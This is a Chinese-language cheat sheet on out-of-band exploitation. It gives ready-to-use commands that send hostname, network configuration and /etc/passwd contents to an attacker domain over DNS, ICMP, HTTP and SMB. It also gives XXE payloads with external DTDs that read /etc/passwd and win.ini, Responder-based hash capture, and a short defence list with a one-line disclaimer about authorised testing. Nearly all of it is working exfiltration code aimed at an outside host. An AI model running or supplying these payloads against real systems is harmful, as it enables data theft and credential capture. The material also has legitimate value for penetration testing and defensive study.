Out of Band Exploitation (OOB) 利用技术速查表
字数 1283 2025-08-30 06:50:28
Out of Band Exploitation (OOB) 技术详解与实战指南
一、OOB技术概述
Out-Of-Band (OOB) 带外技术为攻击者提供了一种替代方式来确认和利用原本"盲注"的漏洞。在盲注漏洞中,攻击者无法在对漏洞请求的直接响应中获得漏洞的输出。OOB技术通过让易受攻击的实体生成出站TCP/UDP/ICMP请求,使攻击者能够窃取数据。
技术特点
- 适用于盲注漏洞场景
- 依赖出站防火墙规则
- DNS是最可靠的选择(成功率高)
- 需要攻击者搭建基础设施
二、基础设施搭建
先决条件
- 公共服务器:具有静态IP地址(推荐使用Google云平台GCP的VPS)
- 注册域名:需要能够将权限委托给自定义名称服务器
搭建步骤
- 在GCP创建Linux服务器并确保root权限
- 在域名注册商处配置DNS记录:
- 添加NS记录指向子域
- 为名称服务器添加A记录指向GCP服务器IP
- 使用tcpdump监控DNS查询:
sudo tcpdump -n port 53
三、操作系统命令注入(OOB)
检测技术
通过让Web应用解析精心制作的DNS名称来检测OS代码注入漏洞:
Windows:
nslookup test.oob.dnsattacker.com
ping ping.oob.dnsattacker.com
UNIX:
host host.oob.dnsattacker.com
dig test.oob.dnsattacker.com
数据窃取技术
Windows环境
-
Base64编码传输:
cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"攻击者解码:
echo "encoded output" | base64 -d -
HEX格式传输大文件:
cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){ $final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }"攻击者提取:
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p
UNIX环境
-
HEX格式传输:
var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b.file.oob.dnsattacker.com; done攻击者提取同Windows方法
-
Base64编码传输(更高效):
var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done攻击者提取:
cat file2.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n'|base64 -d
四、ICMP数据外传
Windows环境
cmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('dnsattacker.com',60 * 1000, $sendbytes, $PingOptions);"
攻击者捕获:
sudo tcpdump 'icmp and src host 202.14.120.xx' -w powericmp.pcap
提取:
echo "0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p
UNIX环境
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com;done
攻击者捕获与提取方法同Windows
五、HTTP数据外传
Windows环境
cmd /v /c "ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnsattacker.com:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!"
若无PowerShell:
mshta !Final!
攻击者接收:
echo "0x$(ncat -lvp 9000 |grep -i get|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p
UNIX环境
wget --header=evil:$(ifconfig|xxd -p -c 100000) http://dnsattacker.com:9000
或POST方式:
wget --post-data exfil='cat /etc/passwd' http://dnsattacker.com
wget --post-file trophy.php http://dnsattacker.com
cat /path/to/sensitive.txt | curl -F ":data=@-" http://dnsattacker.com/test.txt
攻击者提取:
echo "0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p
六、SMB哈希窃取
Windows环境
net use h: \\dnsattacker.com\web
或带认证:
net use h: \\dnsattacker.com\web /user:{password} && copy {file.txt to Copy} h:\{file.txt}.txt
攻击者使用Responder捕获:
sudo ./Responder.py -I eth0
七、XXE漏洞利用
检测技术
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://xxeoob.oob.dnsattacker.com">
<foo>&e1;</foo>
攻击者监控:
sudo tcpdump -n udp port 53
数据窃取技术
HTTP方式
攻击者准备DTD文件并启动HTTP服务器:
python -m SimpleHttpServer 9000
受害者payload:
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
linux.dtd内容:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">
Windows系统使用:
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">
FTP方式
攻击者启动xxeftp服务器:
python xxeftp.py
受害者payload同HTTP方式,仅修改URL为:
<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>
SMB哈希窃取
攻击者运行Responder:
sudo ./Responder.py -I eth0
受害者payload:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "\\dnsattacker.com\test" >
]>
<foo>&xxe;</foo>
其他可能的XXE外传协议
http://oob.dnsattacker.com:port/%data
ftp://oob.dnsattacker.com:port/%data
gopher://oob.dnsattacker.com:port/%data
ldap://oob.dnsattacker.com:port
\\oob.dnsattacker.com\C$
八、技术限制与注意事项
-
DNS限制:
- 仅能用于检测XXE漏洞
- 数据外传效率较低
-
ICMP限制:
- Windows需要PowerShell支持
- 数据包大小受限
-
SMB限制:
- 需要Responder等工具支持
- 可能触发安全告警
-
通用建议:
- 优先使用DNS协议(成功率高)
- 大文件传输使用分块编码
- 敏感数据建议加密传输
- 注意目标系统防火墙规则
九、防御建议
- 限制出站网络连接
- 监控异常DNS查询
- 过滤XML外部实体
- 禁用不必要的协议处理程序
- 实施严格的输入验证
- 监控ICMP异常流量
- 限制SMB协议的使用范围
本技术文档详细介绍了OOB技术的各种应用场景和实现方法,涵盖了从基础设施搭建到具体漏洞利用的全过程。实际使用时请遵守法律法规,仅用于授权测试目的。